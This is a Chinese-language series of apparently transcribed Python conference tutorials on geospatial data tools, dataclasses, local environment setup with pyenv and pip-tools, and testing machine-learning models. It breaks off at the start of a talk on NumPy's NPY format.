我们看到的是克雷特湖国家公园。当我在地图上点击时,系统会生成视域或视线分析,同时通过光线追踪旋转太阳位置以产生阴影。这得益于使用CUDA支持的GPU,所有代码都用CUDA编写。
这个功能来自我们维护的一个名为Xarray Spatial的库。这是一个将少量数据转化为计算密集型任务的快速例子,展示了GPU的威力。
演讲者介绍与课程目标
在这次演讲中,我将介绍一些进行Python地理空间分析时应了解的不同工具。
我是布伦丹·柯林斯。我参与开源地理工作大约10年。我是Xarray Spatial的维护者,这是一个基于栅格的空间分析库。我也是DataShader的忠实粉丝,这是一种通用的栅格化管道。我还是《金雅典圣经》的作者,并为对圣经进行自然语言处理的人提供了一个新包。此外,还有一个来自MakePath的新包叫MapShader,旨在简化Python中的GIS网络服务。
我是MakePath的联合创始人,这是一家位于奥斯汀的空间分析公司。我们专注于将更广泛的数据科学生态系统工具引入地理空间专业领域。
我们合作的客户常常发现,通用数据科学的工具命名方式与GIS分析师和地理空间数据科学家的习惯不同,我们正努力弥补这一差距。

如果你想了解更多关于MakePath的信息,可以访问我们的博客,上面有一篇关于在克雷特湖国家公园进行GPU增强地理空间分析的博文。
核心问题与挑战
那么,谁说大规模处理地理空间数据容易呢?也许是Anaconda的高级数据科学家Sophia Yang,她启动了一个YouTube频道展示数据科学的秘密。或者是MakePath的GIS分析师Natalie Odell,她认为有时容易,有时难。
Natalie开发了一个非常有趣的库叫做Census Parquet。这个库将2020年人口普查的地理文件(形状文件)转换为更适合大规模处理的格式——Parquet。它提供了创建这些Parquet文件的工具,使得数据更容易被Dask、Spark等大数据系统消费。

处理地理空间数据困难的原因之一是存在许多不同的格式。开放地理空间联盟(OGC)支持的标准列表很长,选择合适的格式是一项挑战。
本次讲座的目标是,让你在离开时对不同类型地理空间数据应使用的格式和工具有清晰的了解。
地理空间数据的两大类别

地理空间数据格式大致分为两类:矢量数据和栅格数据。
根据Data Carpentry网站的介绍,矢量数据在GIS中指的是点、线和多边形,用于代表离散现象。例如,一栋建筑可以表示为一个点、一条线(轮廓)或一个多边形。
栅格数据则是规则网格,类似于JPEG和PNG图像格式。在地理空间领域,栅格主要用于表示连续现象,如降雨、土壤类型和高程。
地理空间领域有一个老生常谈:“栅格比矢量快”。很多时候,性能提升可以通过确保使用正确的数据格式来实现。例如,将大型高程数据集从栅格转换为矢量会产生许多顶点,处理速度会变慢。
处理矢量数据的工具
上一节我们介绍了矢量数据,本节我们来看看处理它的核心工具。
处理矢量数据(点、线和多边形)的一些工具应从pandas库开始。pandas是许多人熟悉的、用于在Python中操作表格数据的工具。
现在有一个库叫做geopandas,它在你的pandas DataFrame中添加一个几何列,让你可以使用类似pandas的API处理矢量数据。geopandas是一种内存数据结构。
另一个我想谈的矢量库是dask-geopandas。dask DataFrame是一个很好的抽象,可以将pandas DataFrame扩展到多个线程、核心或机器。dask-geopandas扩展了此功能,为dask DataFrame提供几何列,让你可以使用dask抽象与geopandas一起工作。

这是一个相对较新的库,虽然有些粗糙,但问题正在被解决。如果你要处理无法装入单台机器的矢量数据集,它是一个非常好的依赖项。
在处理人口普查Parquet数据时,我们使用dask-geopandas加载每个单独的人口普查文件,合并成一个大的DataFrame,然后保存为分区的Parquet文件。
大规模处理的第一课:选择Parquet格式
我将多次提到Parquet。处理大规模地理空间数据的第一个要点是:Parquet是一个非常好的朋友。
OGC正在发布一个GeoParquet规范,以便在Parquet文件中包含几何信息。以下是使用Parquet作为格式的几个原因:
- 二进制格式:Parquet是二进制格式,而非基于文本的格式,读写效率更高。
- 支持压缩:它支持多种压缩格式,可以有效减少存储空间和I/O开销。
- 列式存储:数据按列存储,如果你只对其中一列感兴趣,无需将所有数据加载到内存中。
- 可分片:数据可以被分区,允许单独的进程或工作节点加载一个分区,而不是整个数据集。
性能分为两部分:计算和I/O。Parquet将处理可扩展的I/O组件。只要我们的Parquet文件中有一个几何列,我们就能够对数据进行可扩展的矢量操作。
因此,扩展的第一课是:选择一个适合快速I/O的数据格式。它应该是二进制的、支持多种压缩类型、大多是列式存储的,并且可以分区。

处理栅格数据的工具
现在,让我们转向空间数据的另一个领域:栅格。
我们都知道并喜爱的基础库是NumPy。它使我们能够分配类型化数组,这比处理Python的异构列表要快得多。NumPy为后续的栅格处理地理空间库奠定了基础。
但NumPy有一个问题:缺乏标签。当你使用NumPy数组时,会做很多整数索引和切片。如果你能构建一个“数据立方体”就好了——例如一个3D数组,其中x和y是地理坐标,z是不同的图层(如Landsat图像的不同波段)。
Xarray使你能够为这些维度添加标签,并使用字符串而非整数来引用它们。这使得你的代码更具可读性。地理社区在推动Xarray格式方面做了很多工作,我们也依赖它来处理栅格数据。
MakePath决定可以拥有更多基于Xarray对象的通用函数。

我们创建了一个名为Xarray Spatial的库,它包含Xarray对象的空间扩展。这个库没有引入新的数据结构,它只是一组真正的通用函数。
如果把NumPy看作是ndarray加上在其上操作的通用函数(如sum、std),那么Xarray Spatial基本上就像是“空间通用函数”,它接受Xarray DataArray作为输入,并倾向于返回Xarray DataArray作为输出。
Xarray Spatial支持多种通用函数类别。以下是一些主要类别:
- 分类/分箱:在栅格上使用等间隔等方法进行分箱。
- 焦点分析:查看像素周围的邻域,类似于卷积滤波器,但你可以创建自己的自定义滤波器。
- 热点分析:用于识别图像中统计显著的热点。
- 多光谱分析:组合不同波段和影像(如Landsat或Sentinel场景)以提取信息,经典的例子是计算归一化植被指数(NDVI)。

浏览这些功能时,你会注意到不同的列。这些列对应于函数支持的数组后端:
- NumPy:基础的数组后端。
- Dask:用于并行计算的分块数组。
- CuPy:在CUDA和GPU之上提供类似NumPy的API。
- Dask-CUDA:对应于在GPU集群上进行分析。
Xarray Spatial还包括一些栅格到矢量的工具,以及经典的表面工具,如坡度、曲率和视域分析。
通用工具:DataShader与性能扩展库
上一节我们介绍了专门的栅格处理库,本节我们来看看一个强大的通用工具和几个性能扩展库。
DataShader是一个来自Anaconda的出色工具,它是一个通用的栅格化管道,意思是将矢量数据转换为栅格数据。
例如,如果你同时处理高程数据(栅格)和地块边界数据(矢量),DataShader允许你以智能的方式在两者之间转换。它还能让你指定聚合函数来处理重叠绘图的问题。
DataShader是一个非常有用的工具,可以轻松地将矢量转换为栅格,并确保数据集共同配准(即像素对齐)。这对于结合不同来源的数据进行分析至关重要。
现在,在扩展方面,还有一些其他的依赖需要强调。
Numba无疑是其中之一。在Xarray Spatial中,我们大量使用Numba进行垂直扩展(即加速算法)。当我们遍历大量像素时,Numba允许我们编写高效的代码,而无需退回到C扩展。

Dask是能够扩展到多个线程和多个CPU的解决方案,用于水平扩展。它理解Numba函数,可以将其发送到工作节点,因此这些工具集成得非常好。
我提到过CuPy,它用于与CUDA GPU进行交互,具有类似Numba的语法。在Xarray Spatial中,我们使用CuPy和Numba的CUDA JIT装饰器,为热点分析等工具带来了显著的性能提升。
我还想强调微软的行星计算机。它将策划的数据集与可扩展的计算(如Jupyter Lab、Dask)结合在一起。
实践演示:从行星计算机获取数据并分析
让我们快速看一个从行星计算机提取高程数据并进行简单分析的例子。


我导入了DataShader、行星计算机库和Xarray。选择了一个感兴趣的区域,然后使用stackstac目录来访问数据。
STAC(时空资产目录)是一个很好的开源规范。它是一个可以读取的JSON文件,用于描述一个多部分栅格数据集。对于像Landsat这样有许多场景的大型数据集,你不需要逐个检查其边界是否在你的研究区域内;你可以查询STAC索引。
我们查询了NASA DEM高程数据的STAC目录,检索了感兴趣区域的数据。然后,我们使用Xarray Spatial计算山体阴影图,并使用DataShader为其添加伪高程色彩映射。
这个过程查询了一个非常大的数据集,但使用STAC来确定要提取的区域,使用Xarray打开并重采样数据,使用Xarray Spatial进行计算,最后用DataShader进行可视化。
Xarray Spatial 功能示例与代码一览
Xarray Spatial有完整的用户指南,可以查看不同的工具和操作。
例如,有一个邻近度分析的笔记本。我们设置起始点,然后运行Xarray Spatial的邻近度工具,生成一个网格,其中每个像素的值是到最近点的距离。你可以选择不同的距离度量,也可以计算到线特征的距离,并进行阈值处理。
还有“分配”工具,它不返回距离,而是返回最近物体的ID。以及“方向”工具,返回最近点的方位角。
我们有一个持续的CUDA工作组在研究算法。我想快速展示一下Xarray Spatial内部代码的样子。


以山体阴影函数为例。首先有一个仅使用NumPy通用函数的实现。我们可以轻松地将其扩展到使用Dask,这里需要处理分区重叠的边缘情况。然后,我们可以添加CUDA JIT装饰器,使这段代码能在GPU上运行。
在这个大约200行的文件中,它处理了NumPy、Dask、GPU和Dask-GPU四种情况,没有使用任何C扩展,并且性能非常好。
总结
总的来说,我非常感激能在这里。这是一个与Python社区互动的绝佳机会。
在本节课中,我们一起学习了:
- 地理空间数据的两种主要类型:矢量(点、线、面)和栅格(网格图像)。
- 处理大规模数据的第一课:优先选择 Parquet 这种二进制、列式、可压缩、可分区的格式。
- 处理矢量数据的核心工具:GeoPandas(单机)和 Dask-GeoPandas(分布式)。
- 处理栅格数据的核心工具:Xarray(带标签的数组)和 Xarray Spatial(空间分析函数库)。
- 强大的通用与扩展工具:DataShader(矢量栅格化)、Numba(垂直加速)、Dask(水平扩展)和 CuPy(GPU计算)。
- 数据获取与索引:STAC(时空资产目录)规范及其相关工具。
我鼓励大家尝试这些工具。如果你在处理地理空间数据时遇到规模挑战,希望本教程为你提供了一个实用的工具箱和清晰的起点。


028:让数据类为你服务


在本教程中,我们将学习如何利用Python的数据类来构建更安全、更易维护的代码。我们将从传统面向对象编程的局限性开始,逐步探索数据类如何通过封装、类型安全和不可变性来简化开发流程,并最终实现“使不可能的值不可表示”这一函数式编程的核心思想。
1. 传统方法的局限性
上一节我们介绍了本教程的目标,本节中我们来看看传统处理数据验证时遇到的问题。
假设我们有一个简单的客户反馈系统,使用“星星”评分,其值应限制在1到10之间。传统上,我们可能会使用一个普通的整数(int)来表示它。
def process_stars(stars):
# 每次使用前都需要检查参数
if not (1 <= stars <= 10):
raise ValueError("Stars must be between 1 and 10")
# ... 执行某些操作
return stars + 5 # 返回的仍然是一个普通的int,语义不清晰
这种方法存在几个问题:
- 验证逻辑分散:每次使用
stars时都需要重复验证逻辑。 - 语义模糊:函数返回的
int无法明确表示它仍然是一个“星星”评分。 - 难以维护:若要修改“星星”的范围(例如改为1到5),需要在代码中查找并修改所有验证点。
2. 面向对象封装的尝试
上一节我们看到了使用普通函数的缺点,本节中我们来看看如何使用面向对象的封装来改进。
我们可以创建一个Star类,利用私有属性和属性装饰器来封装数据。
class Star:
def __init__(self, number):
self._number = number
self._validate()
def _validate(self):
if not (1 <= self._number <= 10):
raise ValueError("Stars must be between 1 and 10")
@property
def number(self):
return self._number # 只提供读取接口,没有设置器,实现“只读”
def add_five(self):
# 方法内部也需要验证
result = self._number + 5
# 后置条件检查
if not (1 <= result <= 10):
raise ValueError("Result out of star range")
return Star(result) # 返回一个新的Star对象
这种方法比普通函数更好,它将数据和验证逻辑捆绑在一起。但它仍然繁琐:
- 代码冗余:每个方法内部都可能需要前置/后置条件检查。
- 依赖约定:属性的“私有性”(
_number)依赖于编程约定而非语言强制。 - 可变性风险:虽然通过属性装饰器限制了外部修改,但内部状态在方法间仍是可变的。
3. 数据类的基础应用
上一节我们介绍了传统的面向对象方法,本节中我们来看看Python数据类如何提供更优雅的解决方案。
数据类(@dataclass)是Python 3.7引入的装饰器,它能自动生成特殊方法(如__init__, __repr__, __eq__)。
from dataclasses import dataclass
@dataclass
class Message:
name: str
number: int = 42 # 可以指定默认值
depth: float = 10.5
数据类自动提供了:
- 清晰的构造函数:基于类型注解自动生成。
- 易读的字符串表示:自动生成
__repr__。 - 值比较:自动生成
__eq__方法用于比较实例内容。 replace()方法:基于现有实例创建新实例,非常适合函数式编程风格。
msg1 = Message("Hello")
msg2 = Message("Hello")
print(msg1 == msg2) # 输出: True
msg3 = replace(msg1, number=100) # 创建新对象,不修改原对象
4. 实现不可变性与类型安全
上一节我们了解了数据类的基础功能,本节中我们来看看如何利用它实现不可变性和严格的类型安全。
数据类可以通过frozen=True参数变为“冻结的”(不可变)。
from dataclasses import dataclass
@dataclass(frozen=True)
class ImmutableStar:
number: int
def __post_init__(self):
# 对象构造后自动调用的验证方法
if not (1 <= self.number <= 10):
raise ValueError("Stars must be between 1 and 10")
现在,我们可以重新定义操作星星的函数。由于ImmutableStar的实例在创建后就是正确且不可变的,函数逻辑变得非常清晰和安全。
def add_five_to_star(star: ImmutableStar) -> ImmutableStar:
# 无需前置检查,因为传入的star一定是有效的
result_number = star.number + 5
# 直接构造新对象,构造过程会自动调用__post_init__进行验证
return ImmutableStar(result_number)
核心优势:
- 类型即值域:
ImmutableStar这个类型精确地代表了1到10这个整数集合。不可能创建不符合此约束的ImmutableStar对象。 - 逻辑简化:使用该类型的函数无需再担心输入验证,只需关注业务逻辑。
- 易于维护:修改规则(如范围)只需在类定义中改动一处。
5. 数据类的组合使用
上一节我们学会了创建简单的不可变数据类,本节中我们来看看如何组合多个数据类来构建更复杂的结构。
我们可以像搭积木一样,用小的数据类组合成大的数据类。
from dataclasses import dataclass
from datetime import date
@dataclass(frozen=True)
class FullName:
name: str
def __post_init__(self):
if len(self.name.split()) < 2:
raise ValueError("Full name must contain at least two parts")
@dataclass(frozen=True)
class Email:
address: str
def __post_init__(self):
if "@" not in self.address:
raise ValueError("Invalid email address")
@dataclass(frozen=True)
class Person:
name: FullName # 使用其他数据类作为类型
birth_date: date
email: Email
# 创建Person实例会依次验证所有组成部分
person = Person(
name=FullName("Bruce Eckel"),
birth_date=date(1957, 7, 8),
email=Email("example@test.com")
)
这种组合方式确保了复杂对象的每一部分在组合前都已经是有效的,从而在最高层级也保证了数据的完整性。
6. 枚举与数据类的对比选择
上一节我们探讨了数据类的组合,本节中我们来看看另一种定义类型的方式——枚举,并对比其与数据类的适用场景。
枚举(Enum)是定义一组有限命名常量的理想选择,它也是在编译时(或代码定义时)就确定类型的工具。
from enum import Enum
class Month(Enum):
JAN = (1, 31)
FEB = (2, 28)
MAR = (3, 31)
# ... 其他月份
def __init__(self, num, days):
self.num = num
self.days = days
@staticmethod
def from_num(num):
for month in Month:
if month.num == num:
return month
raise ValueError("Invalid month number")
对于像“月份”这样固定、有限的集合,使用枚举比数据类更简洁、意图更明确,IDE也能提供更好的代码补全支持。
何时选择枚举 vs 数据类:
- 使用枚举:当需要表示一个固定的、预先知道所有可能值的集合时(如星期、月份、状态码)。
- 使用数据类:当需要表示一个具有多个属性、且可能实例化很多不同值的复合数据结构时(如用户信息、配置项)。
试图用数据类模拟枚举会导致代码更复杂、更不直观。
总结
在本教程中,我们一起学习了如何让数据类为我们的代码服务。我们从传统数据验证的痛点出发,经历了面向对象封装的尝试,最终深入掌握了Python数据类的强大功能。
核心收获:
- 数据类通过
@dataclass装饰器自动生成样板代码,极大提升了开发效率。 - 不可变性通过
frozen=True参数实现,它是保证数据安全、简化并发编程和实现函数式风格的关键。 - 类型即值域的理念通过
__post_init__方法得以实践,确保了“不可能的值不可表示”,将错误消灭在构造阶段。 - 组合优于继承,我们可以通过组合小的、已验证的数据类来安全地构建复杂的领域模型。
- 正确选择工具,对于有限集合使用
Enum,对于复合数据结构使用数据类。

通过拥抱数据类、不可变性和清晰的类型约束,我们可以构建出更健壮、更易推理且更易维护的Python应用程序。
029:启动你的本地 Python 环境 🐍

在本节课中,我们将学习如何正确、高效地设置和管理本地 Python 开发环境。我们将探讨常见的陷阱、最佳实践,并介绍一系列工具,帮助你构建一个清晰、可重复且强大的 Python 工作流。
概述 📋
正确配置 Python 环境是高效开发的基础。许多开发者,无论是初学者还是经验丰富者,都曾遇到过环境混乱、依赖冲突等问题。本次教程旨在帮助你建立一套明确、简单的规则和工具链,让你的电脑成为得心应手的开发工具。
为什么环境管理很重要?🤔
Python 存在于系统的许多地方。它可能由操作系统预装,也可能通过应用商店、官方网站或包管理器安装。这种多样性容易导致混乱:你不知道正在使用的是哪个 Python 解释器,也不清楚 pip 将包安装到了何处。
上一节我们概述了环境管理的目标,本节中我们来看看 Python 之禅给我们的启示。
Python 之禅中的几条原则尤其适用于环境管理:
- 显式胜于隐式:明确知道使用的是哪个 Python 版本和哪些依赖。
- 简单胜于复杂:简化配置,直到无法再简化为止。
- 优美胜于丑陋:如果某个设置让你感觉“不对劲”,那它很可能就是错的。
遵循这些原则,我们可以避免许多常见问题。
核心规则:安全与明确 🛡️
在开始使用工具之前,我们必须确立一些基本规则,以确保环境的安全和可控。
规则一:永不使用 sudo
在与 Python 交互时,无论是安装 Python 本身、安装包还是其他工具,都不应该使用 sudo 或管理员权限。
# 错误做法
sudo pip install some-package
# 正确做法
pip install some-package # 在正确的虚拟环境中
使用 sudo 可能会将包安装到系统 Python 目录,这可能导致系统脚本依赖的包被意外升级或破坏,进而使系统不稳定。
规则二:不要使用系统 Python
你的操作系统(如 macOS 或 Linux)自带的 Python 不属于你。它是供系统本身运行脚本和进行维护任务使用的。
系统 Python 仅供操作系统使用。 如果你在其下安装或升级包,可能会影响系统功能。你应该为自己安装独立的 Python 版本。
工具推荐:pyenv - Python 版本管理器 🔧
既然不能使用系统 Python,我们该如何管理多个 Python 版本呢?pyenv 是一个出色的工具,它允许你轻松安装、切换和管理多个 Python 版本。

以下是 pyenv 的主要优势:
- 全局版本控制:可以设置一个默认的全局 Python 版本。
- 本地版本控制:可以为特定项目目录指定使用的 Python 版本。
- 自动切换:进入项目目录时自动切换到指定的 Python 版本。
安装与使用 pyenv
你可以通过包管理器(如 Homebrew)安装 pyenv。
# 使用 Homebrew 安装(macOS/Linux)
brew install pyenv
安装后,你可以查看可用的 Python 版本并安装它们。
# 列出所有可安装的版本
pyenv install --list
# 安装特定版本的 Python,例如 3.9.11
pyenv install 3.9.11
# 查看已安装的版本
pyenv versions
# 设置全局默认 Python 版本
pyenv global 3.10.3
# 为当前目录设置本地 Python 版本
pyenv local 3.9.11
执行 pyenv local 后,会在当前目录生成一个 .python-version 文件,明确记录此项目使用的 Python 版本。当你进入该目录时,pyenv 会自动切换环境。

创建隔离环境:虚拟环境 🏝️

即使为每个项目指定了 Python 版本,我们仍然需要隔离项目的依赖。虚拟环境(Virtual Environment)就是为每个项目创建一个独立的“沙箱”,其中包含独立的 Python 解释器和包目录。
使用 pyenv-virtualenv 插件
pyenv 有一个强大的插件叫 pyenv-virtualenv,它可以无缝管理虚拟环境。
# 安装 pyenv-virtualenv 插件(通过 Homebrew)
brew install pyenv-virtualenv
# 基于 Python 3.9.11 创建一个名为 `myproject-env` 的虚拟环境
pyenv virtualenv 3.9.11 myproject-env
# 在项目目录中激活这个虚拟环境
pyenv local myproject-env
激活后,你的命令行提示符通常会变化(显示环境名),并且所有 pip 安装的包都会被隔离在该环境中,不会影响其他项目或全局环境。
使用 Python 内置的 venv
从 Python 3.3 开始,标准库内置了 venv 模块,可以创建轻量级虚拟环境。
# 创建虚拟环境
python -m venv .venv
# 激活虚拟环境(Linux/macOS)
source .venv/bin/activate

# 激活虚拟环境(Windows)
.venv\Scripts\activate
# 停用虚拟环境
deactivate
使用 python -m pip 可以确保调用的是当前虚拟环境中的 pip。

管理命令行工具:pipx 🧰
有些 Python 包是作为全局命令行工具使用的,例如代码格式化工具 black、HTTP 客户端 httpie 等。我们不希望将它们安装到虚拟环境或用户目录,以免引起冲突。
pipx 专门用于安装和管理这类工具。它会为每个工具创建一个独立的虚拟环境,然后将其命令行入口暴露给你的系统。
# 安装 pipx
brew install pipx
pipx ensurepath
# 使用 pipx 安装全局工具,例如 httpie
pipx install httpie
# 现在可以直接在终端使用 http 命令
http https://httpbin.org/get

管理项目依赖:pip-tools 与可重复性 📦
对于项目依赖,我们需要可重复性和精确性。requirements.txt 文件是常见的依赖记录方式,但手动维护版本和子依赖非常繁琐。
pip-tools 提供了 pip-compile 命令,可以帮助你管理依赖。
- 创建一个
requirements.in文件,列出你的直接依赖(不包含版本号或使用宽松的版本范围)。# requirements.in Django>=4.0, <5.0 requests - 运行
pip-compile生成一个包含所有精确版本和哈希值的requirements.txt文件。pip-compile requirements.in - 使用
pip-sync安装依赖,它会确保你的虚拟环境与requirements.txt完全一致。pip-sync requirements.txt
这种方法确保了项目在任何时候、任何机器上都能获得完全相同的依赖环境,极大地增强了可重复性。
终极可重复性:容器化 🐳
如果你追求极致的环境一致性,可以考虑使用 Docker。通过 Docker 容器,你可以将 Python 版本、系统依赖和项目代码全部打包在一起。
# Dockerfile 示例
FROM python:3.9-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .

CMD [“python”, “app.py”]
使用 Docker,你可以确保开发、测试和生产环境完全一致,彻底解决“在我机器上能运行”的问题。
总结 🎯

本节课中我们一起学习了如何构建一个清晰、强大的本地 Python 开发环境。我们强调了以下核心要点:
- 确立规则:永不使用
sudo,绝不触碰系统 Python。 - 管理版本:使用
pyenv来安装和切换多个 Python 版本。 - 隔离环境:为每个项目使用虚拟环境(
pyenv-virtualenv或venv)来隔离依赖。 - 管理工具:使用
pipx来安装全局命令行工具,避免冲突。 - 锁定依赖:使用
pip-tools来生成可重复的、精确的依赖列表。 - 追求一致:对于复杂项目,考虑使用 Docker 实现终极环境一致性。

遵循“显式、简单、优美”的原则,并利用这些工具,你可以告别环境混乱,建立一个高效、可靠的 Python 开发工作站。祝你编码愉快!
030:测试机器学习模型


概述
在本节课中,我们将学习如何对机器学习模型进行系统性的测试与质量保障。我们将从机器学习的基本概念入手,逐步探讨在模型开发与部署的各个阶段,如何应用软件测试的理念和技术来确保机器学习系统的可靠性、公平性和有效性。
机器学习基础:从预测开始

上一节我们介绍了课程概述,本节中我们来看看机器学习的基础概念。
机器学习的一个常见应用是预测。预测是指基于数据中的模式和其他现有值来推断未知值。
假设我们是一家杂货店的机器学习工程师,任务是预测顾客进店后会花费多少钱。我们有以下数据集:
- 一位顾客花费了 10 美元。
- 两位顾客花费了 20 美元。
- 四位顾客花费了 40 美元。

如果问三位顾客会花费多少,你可能会回答 30 美元。你是如何得出这个答案的?因为你发现了数据中隐含的规则:每位顾客平均花费 10 美元。因此,对于任意数量的顾客 n,预测花费金额的公式可以表示为:
花费金额 = n * 10
这本质上就是一个简单的监督学习模型的工作原理:它从数据中寻找关系并建立规则。
传统编程与机器学习的测试差异
上一节我们通过一个简单例子理解了预测,本节中我们来看看测试传统软件与测试机器学习模型有何不同。
在传统编程范式中,我们定义明确的规则(函数),输入数据,然后得到输出。例如,一个判断数字是否为偶数的函数:
def is_even(number):
return number % 2 == 0
为此编写单元测试非常简单:输入 3,期望得到 False;输入 2,期望得到 True。
机器学习则不同。在机器学习中,我们输入的是“答案”(标签)和“数据”,算法会自行推导出“规则”(模型)。因此,输出存在不确定性。在上一个例子中,我们无法保证三位顾客一定会花费 30 美元。他们可能花费 28 美元、50 美元,甚至可能不消费。测试的难点在于,我们无法像传统软件那样断言一个固定输出是绝对正确的,而是需要验证模型的行为是否在可接受的范围内。
机器学习系统的故障点也与传统软件不同,其中一个核心风险来源于数据。数据驱动着整个机器学习系统,如果数据存在问题,模型的输出就会有问题。
测试左移:在开发早期引入质量保障

上一节我们讨论了机器学习测试的挑战,本节中我们来看看一个重要的软件测试理念——“测试左移”。
“测试左移”是指在软件开发生命周期中,尽可能早地引入测试和质量保障活动。典型的软件开发生命周期包括计划、设计、开发、测试、部署等阶段。如果将其视作一条从左(开始)到右(结束)的流水线,“左移”意味着让测试人员、开发人员和质量实践更早地参与到流程中,例如在设计和计划阶段就介入,以便提前发现和预防问题。
假设我们要启动一个新的机器学习项目,以下是结合了“左移”思想的开发流程概览,我们将逐一审视每个阶段。

机器学习项目开发与测试流程
以下是结合了“测试左移”思想的机器学习项目关键步骤,我们将看到测试和质量活动如何融入其中。
1. 定义问题与目标
首先,我们需要明确要解决什么问题。在杂货店的例子中,问题不仅仅是“预测顾客花费”,更深层的业务目标可能是“防止商品缺货或库存积压”。一个好的问题定义应清晰说明系统为谁服务、是否真的需要机器学习解决方案。
2. 定义成功标准与评估风险
我们需要定义项目成功的基准,并评估潜在风险。这包括:
- 设定初始基准:建立一个简单的概念验证作为比较基线。
- 评估风险:考虑数据隐私、安全性、模型偏见等风险。
- 确保资源:确认团队是否拥有必要的领域专家(如医学专家、语言学家)来帮助构建和验证系统。
3. 设计初始架构
设计系统的技术架构,包括:
- 数据来源(哪个数据库或表)。
- 数据处理流程(ELT:提取、加载、转换)。
- 模型部署方式(REST API、移动端、边缘设备)。
- 开发与生产环境下的监控方案。
4. 收集与理解数据
数据是机器学习系统的生命线。我们需要理解:
- 数据来源(用户日志、传感器、第三方)。
- 数据如何进入系统(流式或批处理)。
- 开发环境的数据准备(是否使用生产数据快照或合成数据)。
- 数据在到达模型之前经历了哪些处理步骤。
理解完整的数据流水线至关重要。例如,一个简单的数据流可能是:用户会话数据 -> Kinesis(流处理)-> S3(数据湖)-> ETL作业 -> Neptune / Snowflake(数据库)。测试人员需要关注流水线的每一步,因为任何环节的故障都会影响下游数据质量,进而影响模型。
5. 准备数据
在此阶段,我们清洗和转换数据以供模型使用。活动包括:
- 处理缺失值或错误值。
- 将数据转换为合适的格式和形状。
- 进行特征工程。
数据质量直接决定模型质量,因此数据工程师和分析师在此阶段会进行大量的数据验证和测试。
6. 训练与验证模型
这是模型开发的核心阶段,包括:
- 进行实验,比较不同模型。
- 记录训练和验证指标(如准确率、损失)。
- 调整模型参数和权重。
- 使用工具自动化跟踪实验过程,避免手动记录带来的混乱。
验证 特指模型在预留的、未见过的数据集(验证集)上的表现,用于评估其泛化能力。
7. 测试模型行为
此处的“测试”侧重于评估模型在更广泛意义上的行为,而不仅仅是准确率。我们需要检查:
- 模型是否表现出有害偏见?
- 是否满足隐私和安全要求?
- 性能和可靠性如何?(能否处理高并发?能否抵抗对抗性攻击?)
- 是否真正解决了我们定义的问题?
- 最终用户是否信任并喜欢使用这个系统?
8. 部署模型
将模型部署到目标环境(如云端API、移动应用)。在此阶段,可以应用传统的软件测试技术:
- API测试:使用
requests库测试模型服务端点。 - 性能测试:使用如
locust.io等工具测试模型服务的吞吐量和延迟。 - 集成测试:确保模型与整个系统协同工作。
9. 监控与迭代
模型部署后,工作并未结束。我们需要:
- 持续监控模型在生产环境中的表现。
- 设置警报机制。
- 收集反馈,洞察模型性能变化(如数据漂移)。
- 根据监控结果迭代和重新训练模型。
这涉及到 可观察性 和 MLOps(机器学习运维) 的实践,确保模型能持续提供价值。
贯穿流程的风险管理策略
在以上所有步骤中,我们都需要持续进行风险管理。策略主要分为三类:
- 预防风险:通过“左移”实践,如在设计阶段进行风险风暴、示例映射,让团队对潜在问题达成共识。
- 缓解风险:采用蓝绿部署、功能标志、A/B测试、向小部分专家用户先行发布等策略,控制问题的影响范围。
- 检测风险:通过自动化测试(单元测试、集成测试、端到端测试)来及时发现问题。
案例分析:Zillow的教训
上一节我们讨论了风险管理,本节中我们通过一个真实案例看看忽视测试和监控的后果。
Zillow曾试图建立一个机器学习系统来自动买卖房产以赚取差价。初期系统运行良好,但最终导致巨大亏损并引发大规模裁员。原因包括:
- 数据质量问题:系统依赖的数据可能不准确或被操纵。
- 缺乏人工监督:系统被赋予过高自主权。
- 未考虑外部因素:模型基于历史数据训练,当COVID-19疫情爆发导致市场剧变时,系统无法适应,公司也未及时暂停或调整。
- 监控与响应不足:部署后缺乏持续的、有效的监控和干预机制。

这个案例凸显了“测试右移”(即部署后持续的监控、评估和迭代)的重要性。机器学习系统的生命周期不是一个线性过程,而是一个包含持续监控和再训练的无限循环。
实用的机器学习测试技术
上一节我们看到了忽视测试的后果,本节中我们介绍几种具体的、可用于机器学习模型的测试技术。
1. 对抗性攻击测试
这种测试旨在发现模型的脆弱性。攻击者通过精心构造的输入来“欺骗”模型,使其产生错误判断。例如:
- 在图像上添加特定噪声,使模型将“海龟”识别为“步枪”。
- 在停车标志上粘贴贴纸,使自动驾驶系统将其误认为“限速标志”。
- 穿着特殊图案的衣服,使安防AI系统无法检测到人。
测试人员可以扮演攻击者角色,进行威胁建模,并创造性地设计测试用例来评估模型的鲁棒性。

2. 行为测试
行为测试关注模型是否具备我们期望的能力,而不仅仅是看准确率指标。这需要在设计阶段(左移)就与团队共同定义这些“能力”。例如,对于一个文本模型,能力可能包括:词汇质量、命名实体识别、处理否定句等。
一家公司通过定义能力并编写针对性测试(如最小功能测试、不变性测试),发现了比传统方法多近三倍的错误,并能快速比较多个现成模型的优劣。
3. 公平性与负责任AI测试
此类测试旨在检测和消除模型中的有害偏见。偏见可能来源于数据(历史偏见)、测量方式或模型设计本身。
示例:
- 毒性检测偏见:一个系统判断“我是同性恋”比“我是异性恋”更有“毒性”。
- 翻译性别偏见:将性别中立的土耳其语句子翻译成西班牙语或英语时,系统自动为“护士”分配女性代词,为“医生”分配男性代词。
测试方法包括“不变性测试”(仅改变敏感属性,如性别、种族词汇,看输出是否发生不应有的变化)和“方向性测试”(检查输出变化的方向是否符合预期)。解决方案可能包括在设计中提供多个选项让用户选择。
总结
本节课中我们一起学习了机器学习模型测试的全貌。我们从机器学习的基本预测概念出发,理解了其测试与传统软件测试的差异。我们深入探讨了“测试左移”和“测试右移”的理念,并梳理了在一个完整的机器学习项目流程中,从问题定义、数据收集、模型训练到部署监控各阶段应关注的测试与质量活动。最后,我们介绍了几种关键的测试技术:对抗性攻击测试、行为测试和公平性测试。希望本教程能帮助你建立起对机器学习系统进行有效测试和质量保障的框架性认识。记住,构建可靠的机器学习系统需要开发、测试、运维和领域专家的紧密协作。
031:使用 NumPy 的 NPY 格式实现比 Parquet 更快的性能


在本教程中,我们将学习如何利用 NumPy 的 NPY 和 NPZ 文件格式,来实现比流行的 Parquet 格式更快的数据框序列化与读取。我们将深入探讨数据框的内部结构、NPY/NPZ 格式的原理,并通过性能对比展示其优势。最后,我们还将了解如何通过内存映射技术进一步提升大数据的处理效率。
数据框:P31:1:数据框的核心组件
